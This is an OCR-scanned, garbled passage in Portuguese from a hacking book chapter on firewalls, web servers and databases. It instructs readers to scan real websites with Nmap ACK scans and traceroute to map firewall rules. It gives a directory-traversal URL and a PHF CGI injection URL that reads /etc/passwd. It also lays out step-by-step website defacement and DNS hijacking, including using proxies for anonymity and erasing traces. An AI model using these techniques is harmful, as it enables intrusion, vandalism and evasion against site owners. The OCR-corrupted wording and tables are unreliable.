Tente entender como os servidores SMTP funcionam, e ver que fcil utilizar
qualquer um deles para enviar e-mails annimos. Uma ltima recomendao:
leia as RFCs!
Furando firewaLLs
Quando algum invade um computador domstico, tem sua disposio al-
guns arquivos importantes apenas para o dono. Talvez algum software bacana
que merea ser copiado. Essas mquinas no servem pard realizar o sonho
warholiano desses adolescentes: ter seus breves momentos de fama.
Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas
que sejam visveis ao grande pblico. Alterar web sites a primeirissima esco-
lha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir
assinada. Mas h outras opes de grande repercusso, embora mais annimas.
Derrubar servidores de empresas ou roteadores da Internet so duas delas.
Apesar do anonimato, o estT""dgo causado grande.
1193 1
I Vulnerabilidades II
I Universidade H4CK3R I
1194 1
Firewalls
Falemos a verdade: quem hoje, em s conscienci:t, deix:tria um servidor Web
ligado diret:tmente Internet? (Ok, ok, ok, estil bem: muita gente faria isso ... ?)
Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau
de proteo deve ser providenciado para que nosso site no seja molestado
logo no primeiro dia (ou antes, mi primeira hora .. . ). Essa proteo usualmente
relegada a equipamentos chamados firewillls.
Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser
entre redes privadas ou elllre uma rede priV'Jda e a [ntemelo A funo de tal
equipamento controlar o trfego entre elas, permitindo ou blO<llIcando infor-
maes de acordo com regras preestabelecidas. H diversas expliC'des para
a palavra firewalJ. Os autores preferem a definio de "porta corta-fogo", ou
seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo.
Analogamente, os firewalls agem como portas que pennitem a algumas cone
xes elll!"'dr ou sair da rede, enquanto bloqueia as demais. Normalmente, as
conexes originadas de dentro da rede so permitidas, enquanto as originadas
de fora da rede so bloqueadas.
Firewall
Internet
---
H trs tipos bsicos de firewall. Os dois mais tradicionais so os filtros de
pacotes e os proxies. O terceiro tipo uma evoluo do filtro de pacotes tradi-
cional chamado de filtro de est:ldos de pacotes ou swreful p:lcker filter (SPf).
Filtros de pacotes
A tentativa mais antiga de barl"'dr acessos indesejados em nossas redes talvez
seja a de analisar os pacotes TCPflP um por um e, olhando em scus cabeaUlOs,
decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as
tas" que o filtro f.az ao pacote so:
O pacote destinado ao endereo IP de algum servidor da rede?
Seu endereo IP de origem permitido nesta rede?
A porta TCP/UDP a que se destina corresponde a um servio ofertado na
minha rede?
A porta TCP/UDP de origem corresponde ;a uma aplica<H:lieme dos meus
servios?
VulnerabiLidades II I
Universidade 2
0
Ano
Os bits do pacote (SYN ou ACK) so parte do handshake TCP?
O pacote IP est saindo ou entrando da rede?
Se a resposta para as cinco primeiras perguntas for "sim, o firewall permite
que o pacote entre ou saia. A configurao de cada uma das situaes de per-
misso ou bloqueio de pacotes chamada de regra. Um conjunto qualquer
dessas regrdS chamado de :Iccess control Jist (ACL). H v.irios softwares dife-
rentes que implementam mtros de pacotes. Alguns so instalados em hardwares
especficos como roteadores e os chamados de rack". Outros so
programas que rodam em computadores comuns. Alguns possuem interfaces
grficas para configurao, outros devem ser ajustados com linhas de coman-
do por vezes complexas. Como a sintaxe e o modo de configurao variam
muito, no possvel apresentar um exemplo real de regra de firewall. Entre-
tanto, como tecnicamente a mtragem idntica, variando apenas a sintaxe do
comando, uma tabela de regras poderia, para fins didticos, ser escrita assim:
IPOrio=
IP ne.tino Porta Orio= Porta Destino Protocolo
FboTCP
Ao
R<.'"dc Int<.-rlla Rede Externa Toda, 80 TCP Todos Pcnnitir
Rl:dc Externa Rede Externa
..,
T"""
TCP ACK Pcnnitir
Rede Externa Servidor Web 80 TCP SYN Pcnnitir
Servidor Web Rede Externa 80
T"""
TCP ACK Pcnnitir
tOdas
Todas Todas
T"""
Todos Todos N<.-gar
Neste exemplo, nosso administrador de redes quis liberar o acesso World
Wide Web para os usurios dessa rede. Normalmente, os servidores Web rodam
na porta TCP 80 (Iembre-se: RFC1700). Segwldo a primeira regra, todas as cone-
xes de dentro para fora cujo destino seja a porta 80 so permitidas. Obviamen-
te, o browser do usurio envia um pacote TCP SYN para a porta 80 do servidor
Web e espera uma resposta. Tal resposta vem sob a forma de um pacote ACK,
cuja porta de origem a TCP 80 do servidor com destino a uma porta qualquer
maior que 1.024 no computador do usurio. A segunda regm permite isso.
A tereeird regra pernlite que qualquer requisio de conexo (ou seja, um
pacote TCP SYN) seja passada ao endereo do servidor Web, e apenas a ele, na
porta 80. Uma requisio porta 80 de outra mquina qualquer ser bloquea-
da. A resposta do nosso servidor Web passa pelo firewall, permitida pela regra
quatro. Por fllTl, a regra cinco bloqueia todas as outras conexes.
Mas o filtro de pacotes ignorante. Alm do que est defmido em suas regras, ele
no sabe de mais nada. Observe a regra dois. Qualquer pacote TCP vindo de fora,
cuja origem seja a porta 80 e o flag ACK esteja ligado, seria aceito pelo firewall sem
reclamar. Ora, um hacker poderia enviar lU11 pacote ACK que 0:10 fosse parte de um
hadshake TCP Com esse pacote, todos os endereos lP da rede poderiam ser teSla
dos para verificar sua existncia. Isso um belo furo de segurana!
11951
I Vulnerabilidades II
I Universidade H4CK3R (
1196 1
Outro problema so os pacotes UDP Eles no possuem os flags de controle,
apenas IP/Porta de origem e destino. O administrador tem apenas duas opes:
bloque-los ou permiti-los. Servios importantes como o DNS (porta 53) utili-
zam portas UDP e, portanto, devem ser liberados no nrewall.Ao mesmo tempo,
a mesma porta UDP 53 pode ser usada para transmisso de dados pam o hacker
a partir de um cavalo de tria. O filtro de pacotes no tem como diferenciar
entre a conexo vlida e a maliciosa.
Proxies
Os tUtros de pacotes, como o nome j diz, baseiam-se nas informaes carre-
gadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai
e quem barrado. Diferentemente, firewalls baseados na tecnologia proxy tra-
balham com a camada de aplicao. O proxy interage com O programa e seus
protocolos, independente de como esse protocolo ser encapsulado na pilha
TCPIlP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o
Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais
l
. Al m
disso, imune a ataques com pacotes isolados. O pacote ACK que passou com
galhardia peio filtro de pacotes ser solenemente ignomdo peio proxy, que
ainda vai "escovar os bits" do protocolo H1TP para deixar passar apenas men-
sagens que lhe obedeam estritamente - ao muito mais efetiva do que sim-
plesmente bloquear as conexes ACK TCP/BO. H proxies para lOdos os gostos,
sendo HITp' FTP e Telnet os mais comuns.
EstaJo soliCitada
servio ao prOKV
rfiL R,d,


Pro)('j repassa
Opcionalmente, um proxy pode autenticar usurios, permitindo que apenas
logins devidamente cadastmdos o utilizem. Se til para controlar quem pode
ou no acessar servios externos - um controle assaz vlido em empresas -
muito mais til para impedir que cavalos de tria conectem-se com seus amos
malignos envoltos nas brumas da Internet. De fato, em um ftltro de pacotes que
permita conexo peia porta TCP BD, alm de requisies HTrP vlidas, poder-
amos ter trojans conectando-se pela mesma porta. Com um proxy isso no
seria possvel. Mesmo que o trojan disfarce seus dados com um cabealho HITP
vlido, a conexo no passaria pelo esquema de autenticao.
2. Nom!illmenre. t configurado para servir apenas como o proxy web.
Vulnerabilidades II I
Universidade 2
0
Ano
Filtros de pacotes por estado (SPF)
Que tal dotar de alguma inteligncia os microceflicos filtros de pacotes? Uma
nova tecnologia de anlise de pacotes foi agregad.1. aos filtros, pennitindo que eles
lembrem-sc de pacotes anteriores antes de pennitir outro mais recente enO-M. Essa
implementada na fonna de uma tabela de conexes ativas. Quando
uma conexo iniciada, todos os dados do pacote so guardados nela. Se um novo
pacote chegar em direo mesma mquina, o SPF consulta a tabela. O novo paco-
te aceito caso seja dada a continuao da conexo ou rejeitado, se no for.
Um exemplo prtico o prprio hadshake bsico do TCP Uma mquina de
dentro da rede envia um pacote TCP SYN, que passa pelo SPF e registrado na
tabela. Essa mquina espera por um pacote TCP SYN/ACK da outra mquina
(externa) que participa da conexo. Quando o pacote chega, o SPF analisa a
tabela e , verificando que um pacote vlido, permite sua passagem. O firewall
sabe que s pode aceitar o pacote SYN/ACK se ele for uma resposta a um SYN
vindo de dentro da rede. Com isso, aquele black-hat esperto que usou um paco-
te ACK soUtrio no conseguir.l , desta vez, bisbilhotar nossa rede.
Pesquisando as regras do filtro de pacotes
Um script kiddie normalmente desiste de escanear a rede se seus pacotes ACK
no passarem pelo firewall . H maneiras de furd.r qualquer um dos trs tipos de
ftrewalls, e que sedo estudadas com outros detalhes mais adiante no Uvro.
Por ora, vamos nos preocupar com a fT'd.ca oposio oferecida pelos filtros de
pacotes. Tristemente, vemos que a maioria esmagadora das redes conectadas
Internet possui apenas esses filtros instalados. Os proxies so comumente usa-
dos como caches para aumentar a perfornlance das conexes e rard.mente de-
sempenham um papel de firewall. SPFs so ainda mais negligenciados: a maioria
dos de rede por a sequer &1be o que so Stateful Packet Filters.
possvel determinar, por meio de pacotes ACK, quais portas um filtro de
pacOles deixou abertas. Como vimos, os filtros de pacotes deixado entrd.r qual-
quer pacote com o flag ACK ligado, pensando que so respostas a requisies
saiotes SYN anteriores. Um portscalUler (por exemplo, o Nmap) pode enviar
pacotes ACK para todas as portas de um determinado endereo. Fazendo isso
com todos os endereos da faixa de IPs designada para aquela rede possvel
determinar todas as regras de filtrgem daquele firewall.

ACK pon. 131
II!!! R,d, }"m
Privada :::;: ACK pon. 138 'UPO'Im " ...
<qP Ir.;;,;:;:',;-,...., Internet
cri1 cril II ACK pena 139
....
Fi rewall por
filtro de pacotes
1197 1
I Vulnerabilidades II
I Universidade H4CK3R I
1198 I
Para fazer o Nmap enviar pacotesACK a todas as portas de uma nica mquina,
utilize a opo -sA (voc deve ser root para isso):
# nmap -sA IP.A.SERVASCULHADO
O prompt mostrado de um Unix, mas o comando no Windows seria exala-
mente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin
e Nmapfe) para facilitar a tarefa, se assim for desejado.
possvel fazer o mesmo scan com todas as portas de lima faixa de IPs (ou
seja, diversas mquinas). Por exemplo:
# nmap -sA 192.168.1.
Varre todos 05 IPs de 192.168.1.0 a 192.168.1.255
# nmap -sA 192.168.1.3-127
Varre todos os !Ps de 192.168.1.3 a 192.168.1.127
Dispare esse comando contra vrios web sites e voc ver que nem todos fize-
ram a lio de casa. Escolha um deles (o mais esburacado) e tente, a partir dos
dados apresentados pelo Nmap, detenninar as rcgrdS do firewall em questo.
Outro comando muito interessante nesta hora O Tracerouteffracert. Se voc
est em uma mquina Unix, experimente dar o seguinte comando:
# traceroute IP.DO.WEB.SERVER
Em uma mquina Windows, o comando seria:
C: \TRACERT IP_DO_WEB_SERVER
Voc ver uma lista com todos os nmeros IP (e, se disPOlveiS, os nomes de
DNS) dos computadores e roteadores que esto no caminho entre o seu compu-
tador e o computador destino. muito provvel que, sendo o computador desti-
no um web server, as duas interfaces de rede (ou seja, os nmeros 11') imediata-
mente anteriores pertenam ao firewall. J temos, com isso, trs infoffilaes
vlidas: o endereo IP do web server, os endereo IP do flfewaU e suas regras de
filtragem. Com um pouco de pacincia, o ~ h c k e r ~ pode tentar diversos endere-
os prximos com o Nmap e o Tracerouteffracert e, com os dados obtidos, dese-
nhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo?
De posse dessas infonnaes, um scanner de vulnerabilidades, como o valoro-
so Nessus, poder abrir um mundo de opes para invadir qualquer uma das
mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org
e www.securitifocus.com. pra comear) e correr para o abrao.
Servidores Web
preciso conhecer com certa profundidade os daemond H1TP a serem ata-
cados para poder, rapidamente, invadi-los e alterar suas pginas. Conhecer as
vulnerabilidades existentes neles crucial par" o sucesso da empreitada. Aps
invadidos, os caminhos que levam s pginas devem ser descobertos rapida-
mente parJ evitar um tempo muito longo de conexo e possveis r.t.Slreamentos.
Vulnerabilidades II I
Universidade 2 Ano
Apache
o servidor I-ITrP nmero um no mundo o Apache Cwww.apache.org).
um programa de cdigo aberto e livre distribuio muito prestigiado por scu
desempenho, segurana e flexibilidade. Emretanto, nenhum software 100%
seguro, e o Apache no exceo.
Os arquivos de configurao do Apache normalmente esto no /etc, nos
di.retrios /etc!httpd ou /etc/apache. Em algumas implementacs, podem estar
em /usrflocaVapache ou /varfllUpd. importante que o atacante se familiarize
com os conceilOs de operao de um servidor IITI"p, com o Apache em especial
e, principalmente, com o arquivo de configurao httpd.con!. Outro ponto inte-
ressante a estudar so os mecanismos de acesso a pginas restritas por meio de
senhas. Tais mecanismos usam :lrquivos norm:llmente chamados de .hracces para
guardar o login e a senha dos usurios cadastrados. Todas ess:ls informaes
const:lm 11:1 documentao do produto, disponvel no site o/leial.
A melhor maneira de aprender sobre o Apache mexendo nele. Instale um nux
qualquer em lU11 computador de testes bem como o Apache m.lis recente. Brinque
com as configuraes, procure HOWfOs na lnternet, crie pginas de acesso restri
to e, principalmente, veja como a hierarquia de diretrios organizada.
Como nem tudo so flores, o Apache pode estar vuLnervel :I at:lques. Alm
de m configurao do Unix que o hospeda, o prprio Apache pode estar mal
configurado. Mas mesmo que tudo esteja em ordem, pode haver falh:lS no
soflw:lre que possibilitem uma invaso. Um exemplo simples. O Apache possui
um mdulo, mod_php, que permite a execuo de sistemas escritos na lingua
gem PIIP no servidor. Algumas funes do mod-php permitem que um progra-
ma externo seja executado. Nessas situaes, o controle da porta pela qual o
Apache (normalmente a SO) pass:ldo a esse programa externo. Sendo
:lssim, fcil fazer um progr.lminha com cdigo malicioso que permita ao
hacker tomar conta da porta SO: bast:l que o programa nunca devolva o con-
trole para o Apache e que esteja aberto para rransmisso de dados por parte
do hacker. O inv:ISQr pode enviar qualquer coisa peja porta SO, inclusive outras
pginas I-ITML, sem alterar o contedo das pginas hospedadas no servidor. O
exploit e uma explicao mais detalhada podem ser encontrados em
www.guninski.com/phpl .h1ml .
Sun ONE / iPLanel
A Sun oferece o servidor I-IITP Sun ONE (antes chamado de iP"'net), um
servidor poderoso e muito r.lpido, mas tambm com alguns bugs. O Sun ONE
faz pane de um conjunto maior de ferramentas para desenvolvimento de apli-
caes corporativas em Java, e, ponanto, difcil (mas no impossvel) encontr-
10 servindo pginas da Web. A documentao sobre o servidor pode ser encon
Irad:l na pgina oficia l: wwws,sun.com/software/producls/web sryr/
heme web srvr.html.
1199 1
I Vulnerabilidades II
I Universidade H4CK3R I
1200 I
Uma das vulnerabilidades mais conhecidas do antigo iPlanet e que algumas
verses do Sun ONE herdaram um bug no compont:ntt: de pesquisa do servi-
dor - aquele campo que permite ao intemauta procurar por algmna coisa den-
tro do site. Um dos parmetros de pesquisa o comando N5-rel-doc-name. Uma
string muito longa associada a esse parmetro causa um buffer overflow no
componente e permite que cdigos arbitrrios com poderes de superusurio
sejam executados no servidor. Se em vez de cdigo for enviada uma string qual-
quer("lixo"),o servidor poder travar e sair do ar. A vulnerabilidade est explicada
em detalhes no site Security Focus (www.securityfocus.com/bid/4851/info).
Microsoft Internet Information 5ervices (115)
Mas o campeo absoluto de falhas de scgur.ma em web servers , sem dvi-
da, o Internet lnfonnation Server (ou IlS) da Microsoft. Desde seu lanamento,
falhas so descobertas quase que mensalmente, e algumas vezes os hotftxes e
Service Packs consertam uma ou duas falhas, mas abre Olltr""J.S mais. Os primd-
TOS ataques ao llS emm possveis apenas manipulando a UIU visitada. Por exem-
plo, as primeirdS verses do ns pemlitiam que a URL fosse informada assim:
http://site.com.IIS.com/ . ./ . ./Arquivos de programas/PerVperl.exe
Note o . ./../.Isso indica ao Windows NT para subir dois diretrios. Om, se estmnos
em /www/documenrool/, basta subir dois diretrios para chegar ao raiz (C \). Se
fimcionar, qualquer diretrio estar disponvel ao usurio, incluindo os qut: con-
tm programas. Se, em vez de navegar com o browser, nosso intrpido hacker
usar o progrJ.ma telnet, a URL acima precedida pelo comando GET traria o prompt
de comando do interpretador Perl. A partir dele, qualquer coisa possvel.
Hoje, o maior problema do ns so os ataques conhecidos como cross sile
vulIlerabilities. O atacante deve montar um site com llS e nele colocar uma
pgina HTML contendo um script (pode ser Javascript ou VBScript) que apon-
te pam algumas das pginas de administrao do servidor, notadamente os
presentes na pasta rISHELP. O script pode tambm ser enviado por e-mail (e o
Outlook alegremente o executar sem perguntar). Ao ser executado, o script
tomar posse do IlS vtima e no do rIS do hacker. Usando essa falha , o atacan-
te pode monitorar sesses, copiar dados e documentos importantes ou mesmo
executar alguns tipos de programas.
interessante notar que o llSHELP bloqueado para a zona da Internet. Um
script vindo de ford da rede nunca conseguiria acess-lo. Mas ao executar de
dentro da rede (pelo Internet Explorer ou pelo Outlook), o usuriO est dando
ao script os poderes necessrios para controlar as pginas administrativas. O
anncio dessa falha pode ser visto no TechNet (www.microsoft .com/technet)
sob o cdigo MS02-062.
Outro problema grande com o IlS o Unicode Bug. O Windows NT (e seu
filho, o Windows 2000) t:st preparddo desde h muito tempo para suportar a
codificao de caracteres Unicode, que visa a unificar os conjuntos de ca"lcteres
Vulnerabilidades II I
Universidade 2 Ano
de todas as lnguas do mundo, acabando com os problemas de
internacionalizao de programas e sites. Ocorre que, apesar de os 50s esta-
rem preparados para o Unicode, o 115 no est. Enviando uma string com in-
meros caracteres Unicode 2SSc, possvel, no fmal da string, colocar coman-
dos par .. execuo. No CD, inserimos alguns exploits para o Unicode bug. Para
corrigir esta falha sugerimos que voc substitua o servidor I1S por um linux
com Apache (a melhor opo). Se insistir em usar o Windows, aplique o patch
oficial, disponvel em microsoft.com/technetlsecurity/bulletin/ms00-057.asp.
O lIS ainda presta um servio ao invasor, gravando dados falsos no log. Con-
forme reportado no Security Focus (www.securityfocus.com/bid/6795Iinfo).
URLs especialmente malformadas com cdigos hexadecimais podem fazer com
que o sistema grave entradas falsas nos arquivos de log. Com isso, possvel
destruir registros de invaso e confundir os programas que le:m o log.
H diversos livros escritos sobre os trs servidores citados, e os sites oficiais
(especialmeme o do Apache) fornecero informaes detalhadas e farta docu-
mentao sobre eles. Interrompa a leiturJ. do livro e estude-os. importante.
Sugiro tambm uma passadinha no Security Focus (www.securiryfocus.com) e
uma busca pelas vulnerabilidades desses trs servidores de HTfP. Se por acaso
os conceitos utilizados nos sites forem muito obscuros para o leitor, sugerimos
reler todo o livro, bem como os apndices no CD-ROM.
Common Gateway Interface (CGIl
Os servidores HTfP podem ser amplamente: estendidos com a adoo de
mecanismos que pem1itam o chamado contedo dinmico, uma tecnologia que
possibilita a montagem de pginas personalizadas e de contedo varivel par.!
cada visitante e acesso. Tal tecnologia abriu as portas parJ. uma infm.idade de
novos servios ao intemauta, como o comrcio eletrnico, as pginas interJ.tivas,
os servios de notcias personalizveis e o trJ.tamento de fomlUlrios on-Iine.
De quebra, tambm abriu as ponas para os hackers.
A forma mais antiga de dotar os sites de contedo dinmico so os Common
Gateway Interfaces, ou CGls. Esses mdulos, agregados ao servidor Web, per-
mitem que as pginas HTML oferecidas possam tamo enviar quanto recebe:r
dados de um programa externo. Com isso, sistemas de tf"dtamento de dados
podem manipular as informaes recebidas e mostrar o resultado na tela. Se
voc no tem idia de como isso pode ser feito, sugiro parar a leitura deste
livro (novamente ... ) e ir atrs de um bom livro sobre HTMl. No, no, seus
conhecimentos de FrontP'.tge ou Dreamweaver no vo ajud-lo agof"d. Depois
de terminar seus estudos sobre HTML, procure aprender algo sobre JavaScript
e VBScript. S depois continue no pargrafo seguinte.
Os programas que funcionam como CGI scripts podem ser muito simples. E
podem ser implementados em quaisquer linguagens disponveis no servidor.
Por exemplo, numa mquina rodando \Vindows, pode-se preparar um
1201 I
I Vulnerabilidades II
I Universidade H4CK3R I
1202 1
programinha em Delphi, Visual Basic ou mesmo um arquivo de lote (BA1) que
interaja com o IIS. No Unix, pode-se usar Perl, Python, programas compilados
em C ou mesmo shell scripts, como CGls. Falhas nesses programas podem
comprometer servidores H'nV que, de outra forma, estariam seguros.
Furos de segurana envolvendo CGIs so to antigos quanto a prpria
tecnologia. Os prprios servidores j vinham com CGIs-exemplo pr-instala-
dos. Um exemplo, vindo de instalaes Unix muito antigas, a falha do tipo
PHF. O arquivo PHF um CGI script usado para atualizar lima lista de telefones
de pessoas. Essa lista disponibilizada on-Iine pelo servidor Web, e possvel
montar um fonnulrio que se utilize deste CGI para atualizar a lista.
Nos sistemas Unix com Apache, o local padro para colocar scripts CGI o
diretrio Icaminho/pata/http/cgi-bin/. Por default, a maioria dos antigos servi-
dores Web instalavam o PHF como exemplo, e, como administradores de siste-
ma nunca lem a documentao, os scripts acabavam ficando. Entretanto, o
script PHF comporta-se mal quando, junto com comandos vlidos, coloca-se
um caractere newline (em hexadecimal , OAh) na URL de controle. Um ataque
simples poderia ser:
bttp://vulnserv.com./cgi-bin/pl?Qalias=x%Oa/bin/cat%20/etc/passwd.
Se voc prestar atenflo, depois do newline (OAh) foi emitido o comando
/ bin/cJt /etc/passwd.
O caractere %20 o cdigo ASCII par.! espao em branco. Vrias aes so
possveis e comandos em seqncia so uma boa idia. Nonnalmente o script
roda no Unix em um shell muito restrito, sendo o usurio nobody o "campeo
de audincia". Se voc tiver a sorte de o CGI rodar com SOlO, pronto! Voc
emitir comandos como root1
Tanto o PHF quanto o Unix foram apenas exemplos. Outros CGIs so vulne-
rveis (quase todos ... ) e possvel rodar comandos de outras platafonnas. Um
servidor Windows NT aceita os comandos do DOS, por exemplo.
A melhor maneira de se precaver quanto aos problemas dos scripts CGI
no os usar. Por conta disso, outras formas de interagir com o usurio so as
mais utilizadas atualmente. Alguns exemplos so os servidores de aplicaes
Zope e ColdFusion e as linguagens dinmicas ASP e PHP. Mas mesmo eles pos-
suem furos, porm no to toscos quanto os dos CGls.
PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na
Wcb so, sempre , cheias de falhas. Como elas precisam efetuar algum
processamento antes de enviar a pgina I-ITML formatada ao browser, poss-
vel inserir comandos maliciosos na URL ou em algum fonnulrio e conseguir
um shell para si. Com o shell, a porta para seu defacement est aberta.
A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir
Vulnerabili dades II I
Universidade 2
0
Ano
os scripts CGI em servidores Unix, embora tenha sido portada para diversas
plataformas, incluindo Windows. O sistema Active Server Pages (ASP) , da
Microsoft, por outro lado, como um ~ s h l l ~ que imerfaceia o servidor IIS e
qualquer linguagem externa. A mais usada para montar programas em A$P o
VBScript, mas muitas outras podem ser usadas, incluindo javascript e WSE.
Apesar da maior segurana e desempenho que essa abordagem oferece - afi-
nai, nenhum programa externo ao servidor Web est sendo rodado - , ainda h
algumas falhas que podem ser exploradas. Para uma lista completa, consulte
seu site de vulnerabilidades preferido, por exemplo o Security Focus
(www,securityfocus.com), o Linux Security (www.linuxsecurity.org) ou o
Securicy Bugware (www.securitybugwlre.org).
Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos
script kiddies a desfigurao de web sites, os chamados def':lcements. At
agora, conseguimos verificar (apenas com Nmap e Traceroute(fracert) os fu-
ros no firewall e mapear toda a rede diretamente conectada Internet. Apren-
demos ainda a usar proxies para aumentar nosso anonimato e a mandar fake-
mails - coisa que facilita a vida de qualquer engenheiro social. A rede interna
ainda inacessvel para ns. Por enquanto ...
Um defacement algo simples de fazer. Claro que h casos e casos, alguns
mais difceis, outros extremamente infantis, mas no geral os passos bsicos
para um defacement so:
1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssi-
co o prprio site da Digerati (www.digerati-om), que foi desfigurado pela
hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela des-
cobriu as senhas dos administradores do site da Digerati no registro nacional de
domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas
conseguidas, invadiu o DNS (tambm sem exploits, apenas com senhas conscguid1s
por engenharia social) que apontava para nosso servidor Web e alterou o TP, apon-
tando para o servidor dela. Resultado: os sites da Ge e da Digc:rati aparente-
mente desfigurados. A imagem do site desfigurado est no CD.
2 Com ES, tudo fica mais fcil . Mas com ou sem ilornlaes privilegiadas,
deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de
infonntica. Para isso, cuide de se proteger com spoofmg e proxies pblicos.
3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs Oll o
web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits
e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter aces-
so restrito, ento precisar fazer cracking de senhas ou brute force (vide cap-
tulo 7, Yulncrdbilidades O pard conseguir acesso ao superusurio.
1203 I
I Vul nerabil idades II
I Universi dade H4CK3R I
204 I
4 Uma vez com acesso, procure pelos diretrios em que as pginas so
guardadas. Em mquinas Windows com IlS elas ficam em /www/documentrool.
Em mquinas Unix isso varivel, pode estar em !home!http, /var/www, / var/
http, /usr/locaVapache/www, entre outros. Utilize o comando find (ou, se dis-
ponvel, o comando locate) para encontrar o diretrio www ou http.
5 Encontrado o diretrio, seja bonzinho e faa backup de todo o site, colo-
cando-o em um arquivo compactado deixado a mesmo ou copiando-o para um
diretrio qualquer.
6 Substinta. o index.htm1 (ou .php ou .asp ou .hun ou .xhtm1 ou .shun .. . ) pelo seu
prprio, j previamente dlagramado, ANTES de iniciar a invaso. Voc no quer dd-
xar a conexo aberta enqu.'U1to cria a pgina, perigando ser rastreado, no mesmo?
7 Apague todos os seus rastros.
Em caso de mquinas DNS, o procedimento similar. Voc deve ter um servi-
dor Web no ar e testado, contendo a pgina a ser mostrada. Invada o DNS e altere
as entradas. Por exemplo, voc a favor da guerra no Iraque e quer desfigurar o
site www.stopthewar.org (Ateno lammers - este site no existe!). Descubra
qual o DNS que aponta para ele (dica: use o servio WHQIS com O comando
nslookup) e invada a mquina. L, voc vai encontrar o doonio stopthewar.org
associado a um determinado nmero IP. Troque pelo IP do seu servidor Web
contendo a pgina falsa e pronto, est feilO! No se esquea de verificar se h
DNSs secundrios. Voc ter de monitor-los para certificar-se de que sua altera-
o seja propagada, caso contrrio, ter de invadi-los tambm e alter-los " m o ~
Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de ban-
cos de dados. Os primeiros para annazenar os n.tllhos de cdigo a fim de usar par-J.
montar o J-ITML entregue ao cliente, os segtUldos para manter o cadasu-o dos usurio
os. Ambos p<Xlem ser facilmente acessados com algum trabalho braal.
Conectando diretamente via Internet
Certos administradores de redes (ou mesmo usurios Ieigos __ .) deixam seus
bancos de dados completamente escancarados na Intemet , sem filtragem por
firewall. possvel conectar-se a eles por meio das ferramentas disponveis no
prprio sistema operacional , ou instalando, no computador do atacante, um
banco de dados idntico ao da vtima.
Um exemplo prtico: na Internet , voc encontrou com um scanner de
vulnerabilidades (por exemplo, o Nessus) um servidor Unix rodando o banco
de dados PostgreSQL. Para acess-lo, basta instalar e configurJ.r um front end
grfico parJ. acesso e administrao dos bancos de dados do Prostgre chamado
pgaccess (www.frex.ro/pgaccess).
Vul nerabilidades II I
Universidade 2 Ano
Um pouco de engenharia social ser
necessrio para descobrir os nomes das
bases de dados e de usurios . O
PostgreSQL foi s um exemplo, poss-
vel fazer isso com qualquer banco de
dados, inclusive o MS-SQL e o Access,
quando configurados como fontes de
dados ODBC para rede. Uma instalao
com as opes-padro do banco de da-
dos a ser atacado, na mquina do ata-
SO"l'l'
cante, ajuda e muito a descobrir con- u ....
tas-padro. Scripts de conexo a SQL e s<;n ....
ODBC, se bem escritos, podem auxiliar
em um eventual brute force. Procure
aprofundar-se nas tecnologias de ban-
....,,, 'zoo ~ D J ) O < < ffl
POlI IootJl
U .. m_ '"" ,C:=====J
p .. ...."... H
cos de dados. A Internet est cheia de tutoriais srios a respeito do assunto.
Recomendamos a voc, antes de tentar atacar tais programas, procurar saber
como us-los da maneira correta. Humm, talvez seja hora de voc interromper
novamente a leitura do livro ...
Senhas na Web (teoria x prtica)
Todo grande site solicita que o mternauta se cadastre para liberJ.r contedo
exclusivo. Depois do cadastro, necessrio que o internauta fornea logm e
senha toda vez que entrar no site. Se o servio cobrado ou no, no interessa.
Os dados do usurio sero catalogados e mantidos cm um banco de dados, e
usados pela empresa mantenedora do site para quaisquer fins. Normalmente
tais empresas possuem e divulgam uma poltica de privacidade, garantindo
que seus dados esto num ambiente seguro, livre de olhos maliciosos e que a
prpria empresa no os divulgarfl voluntariamente sob qualquer pretexto.
Mesmo com as desconfianas de praxe, na maioria das vezes, acreditamos na
palavra dos profissionais a quem confiamos nossas informaes, bem como na
segurana de seus sistemas.
Esse falarrio todo nos d a impresso de que nossos dados estaro seguros,
ceno? Ledo engano. Nem sempre os sites se utilizam de ferramentas adequadas
para desenvolver seus produtos e servios. Vrias tcnicas podem ser usadas
para enganar as rotinas de login e nos fornecer acesso privilegiado ao site ou
mesmo obter os logins e senhas dos outros usurios. Uma das tcnicas a
chamada SQL lnjection, que consiste em inserir comandos da linguagem SQL
nos campos de login e senha para, de acordo com a mensagem de erro retomada
pelo servidor, mapear lOdo o banco de dados dos usurios. Esse mtodo funci-
ona para scripts ASP que se utilizam de chamadas SQL, mas pode ser adaptado
para qualquer linguagem de scripting ou CGI , como PHP ou Perl. A sintaxe
pode ser diferente, mas o mecanismo similar.
1205 1
I Vul nerabi li dades II
I Universidade H4CK3R I
10
I
2
3
4
12061
EM TEMPO! Conhece SQL, ASP e PHP? No? pena, mas sou forado a sugerir
que voc pare novameme a leitura do livro e procure instruir-se nesses assuntos.
Comece com wn banco de dados simples como o MySQL e tUna linguagem livre
como o PHP. Bons pontos de partida so os sites Webmon.key (www.webmonkcy.com)
e Developer's Shed (www.devshed.com). Os sites oficiais do PHP (www.php.neO e
MySQL (www.mysql.com) tambm so bem produtivos. Uma procura em sites de
busca pdas palavras"PHP MySQ:L Thtorial" e bons livros sobre o '1S.';tmto Ce srlO muitos)
completam ~ ' u a s necessidades iniciais.
Partimos do princpio de que sempre existe uma tabela, dentro do banco de dados,
que contm todas as informaes cadastrais dos usurios. No estimativa: e.1.a t.1be-
